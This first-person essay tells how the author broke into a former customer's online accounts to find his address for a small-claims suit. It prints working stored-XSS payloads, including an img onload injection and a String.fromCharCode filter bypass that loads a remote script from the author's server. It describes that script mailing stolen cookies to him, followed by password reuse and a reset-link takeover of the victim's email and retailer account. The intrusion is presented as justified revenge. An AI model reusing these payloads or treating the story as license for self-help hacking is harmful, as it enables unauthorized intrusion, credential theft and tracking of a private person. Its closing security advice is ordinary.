My First Black Hat

by Pierre LC

I'm a 30-something software engineer who's always been interested in hacking.

The earliest code I can remember is writing BASIC programs when I was four years old, just to see if I could tell the computer what to do.  This type of thinking naturally led to an interest in computer security, but my career in legitimate software coupled with my parents' good job (apparently) raising me has always kept my interest in black hat matters purely academic.

The worst I've ever done until today was in college.  Some wannabees thought it would be clever to spread BackOrifice, a classic Trojan horse, across the dorm network.  Since I was well known as an upstanding healer of computers, I was naturally called upon to clean up dozens of infected boxes, which I happily did for my friends.  Just to be funny, entirely because of how easy it was, I also put a file on my public network share called Uninstall_BackOrifice.exe which did exactly what you are thinking it did.  A few funny dialog boxes and extended CD trays later spelled the end of my "black hat" career.  Until today.

A former customer owes me money.  Not much, but I'm not the type of person to just forgive a $2,000 debt, especially when the guy swears he's going to pay and then just disappears.  I filed a suit in small claims court but, without knowing the offender's address, he cannot be served and thus gets off scot-free.  So I decided to take matters into my own hands.

Of course, before I decided to do anything legally ambiguous, I exhausted my other options.  The first step in any operation like this is information gathering and, as my only goal was to obtain the new address of my debtor, I thought there was a good chance it would be readily available online.  After a couple days of Googling his name, email, and various usernames, I had a pretty good map of his online presence.

Being a little older, he wasn't quite the online butterfly as the average senior in high school.  Hedid, however, have at least three email addresses, Facebook, and a healthy number of niche online data/social networking sites.  I didn't find his address, but one of those sites turned out to be a gold mine.

It was a classic social networking site rip-off: profiles, friends, direct messages, everything.  It was designed for a particularly non-tech-savvy, aging, counter-culture demographic, apparently to facilitate trading "happy hump day" messages and sharing pictures of modes of transportation with lots of "chrome."  The site wouldn't show me full user profiles until I registered, so I made a throwaway Hotmail account and signed up.  I didn't get any directly useful information off the target's full profile, but I did notice some things about the site that raised some flags.

It would be an understatement to say the site was poorly designed.  Clearly designed for Internet Explorer (IE), the pages would barely render coherently in other browsers.  The DHTML effects were riddled with bugs, and the site regularly displayed amateurish error messages assuring me that someone had been notified of the problems.  After I was logged in, I checked the cookies the site was setting to get a better idea of how the site worked.  Mixed in among about a dozen ad tracking/ASPSESSION cookies was one called "thecookie" that jumped out at me because of its value:


Right there, in plain text, was my email address and password for the site!

They defaulted the "remember me" checkbox, and whoever wrote this site decided this was the easiest way to "remember" someone.  I recently read a lot of online (and offline) hullabaloo about Cross-Site Scripting (XSS) attacks that could steal people's cookies.

Well, here I stumbled on a cookie that is worth stealing!  I immediately went over to the "Edit Profile" page to do some testing.  There were about 20 different text boxes asking for information.  "Biography," "Favorite movies," "Turn-ons," etc.

Using the cheat sheet found at, I tried various permutations of JavaScript, seeing if any of it worked.  90% of the fields filtered out all HTML, but I found a couple of fields that left <img> tags in!

Thinking about the <img> tag's event handler attributes, I knew there was a chance I could execute JavaScript if they were left intact.

So I found an image in the site header and then declared that my "Turns-ons" were as follows:

<img src="/site_logo.jpg" onload="alert('it works!');">

When I went and viewed my profile, sure enough it popped right up and said "it works!"

The next hour or two flew by as I worked on an exploit to nab the cookies of an unwitting user unfortunate enough to click on my profile.  Now this particular field only allowed 255 characters, which is almost certainly related to the fact that it had different filtering rules.  So I had to either be brief with my code or find a way to be verbose.  I tried something like this:

<img src="/site_logo.jpg" onload="document.write('<SCRIPT SRC=></SCRIPT>');">

The thinking was that if I could remotely load a script, I could be as long-winded in my endeavors as I wanted.

However, the bright kid who coded the site ran the text through a filter which stripped <SCRIPT right out, causing a JavaScript parse error.  No problem:

<img src="/site_logo.jpg" onload="var s=String.fromCharCode; document.write(s(60) + 'SCRIPT SRC=' + s(62,60,47) + 'SCRIPT' + s(62));">

Since I was short on space, first I defined a variable (s) that pointed at the String.fromCharCode function.

That function lets you specify characters as numbers, which I hoped would defeat a poorly written filter like this.  And sure enough, when I loaded the public-facing profile, I saw a big, ugly dialog box that contained all of my cookies.  Success!

I'm going to gloss over the details since the remaining steps are all straightforward for any competent web programmer.

I put a JavaScript file on my server that would send the cookies to a simple PHP script which would in turn email them to another email address I had set up for solely that purpose.  The final two steps were to log back on the site and add the target as a "friend."  I didn't need him to accept; I just needed him to check out my profile.

I thought if I was friends with his friends, he would be more likely to click my profile, so I systematically requested friendship with all 94 of his friends, and 26 of them accepted within hours.  I'm not sure if that helped, because, about 18 hours after I sent that message, he politely declined my friendship.  And rightly so, because seconds later his email address (one I didn't know about) and password to the site magically appeared in my inbox: not something a "friend" would do.

Success!  Of course, the password he used for this low-rent, amateur, security-hole-ridden site was the same one he used for his email.  Once I got access to his email, the game was over.  There are literally thousands of sites that need to have your mailing address nowadays.  Even though his password for a certain very popular online retailer was not the same word (yes, a single lowercase word) he used for online dating, I simply requested they send a link to reset his password.  Five minutes later, I had his shipping address, which he actually had a package shipped to earlier that week!  Mission accomplished!

His new subpoena is now on its way.

Some of the things I did to obtain this information were likely not legal in many jurisdictions.  I could have, of course, performed myriad other malicious changes to his accounts.  It is likely that I could have gained access to his bank/PayPal account and simply given myself the money he owed me.  I could have ruined personal relationships, locked him out of his entire online life, and probably worse.  However, the police rarely give you credit for what you didn't do; they tend to focus on what you did.  Despite the urge to get a little revenge, I stopped after I found the information I'd been looking for.

But even for the casual observer, there are lessons to be learned from this.

For everyone: the passwords you use online don't matter, except insofar as they should be different.  The target's password was hilariously insecure.  A reasonably common American male first name, six characters long, no numbers or symbols.  Yet this story would be no different if he had randomly generated a 36 character string.  I didn't brute force anything.  I simply found a site he trusted and asked it nicely to disclose his secrets.  It obliged.  He even had different passwords for other sites, likely because this one wouldn't pass their strength policies.  None of that matters if you use the same password for your email as you do on some random online dating site.  So always, always use a completely different password for at least your email.

And to the web developers: you should not try to write your own security code.  There are many libraries to handle XSS HTML sanitization, and even those almost certainly have flaws.  You have no chance as an individual trying to reinvent the wheel.  And while I chose XSS for this exploit, I'm certain with a little looking I could have found SQL injection attacks as well that would have provided me the same information without the target even needing to click my profile.

Finally, and most importantly: Don't try to run away from a debt you owe to a hacker.  The temptation to darken one's headwear might be too great for even the strictest whitehats.